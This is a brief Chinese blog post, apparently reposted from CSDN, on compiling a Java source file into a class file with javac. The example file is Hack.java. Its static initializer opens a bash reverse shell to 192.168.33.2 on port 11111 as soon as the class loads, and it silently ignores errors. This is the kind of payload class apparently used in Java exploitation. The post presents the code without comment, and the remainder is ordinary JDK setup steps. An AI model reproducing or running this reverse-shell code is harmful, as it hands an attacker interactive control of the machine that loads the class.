java编译成class文件方法

比如我们有Hack.java文件

import java.lang.Runtime;
import java.lang.Process;
public class Hack {
    
    
static {
    
    
try {
    
    
Runtime rt = Runtime.getRuntime();
String[] commands = {
    
    "bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
    
    
// do nothing
}
}
}

怎么编译成class文件呢
首先需安装jdk,可从官网下载
https://www.oracle.com/java/
在这里插入图片描述

安装完成后,记得配置环境变量。我们将JDK的安装目录下的bin文件所在路径配置到环境变量的path变量中。
在这里插入图片描述

然后执行命令
javac Hack.java
在这里插入图片描述

发现生成class文件
在这里插入图片描述

注意java文件名应与代码内定义的类名一致

猜你喜欢

转载自blog.csdn.net/wutiangui/article/details/132664983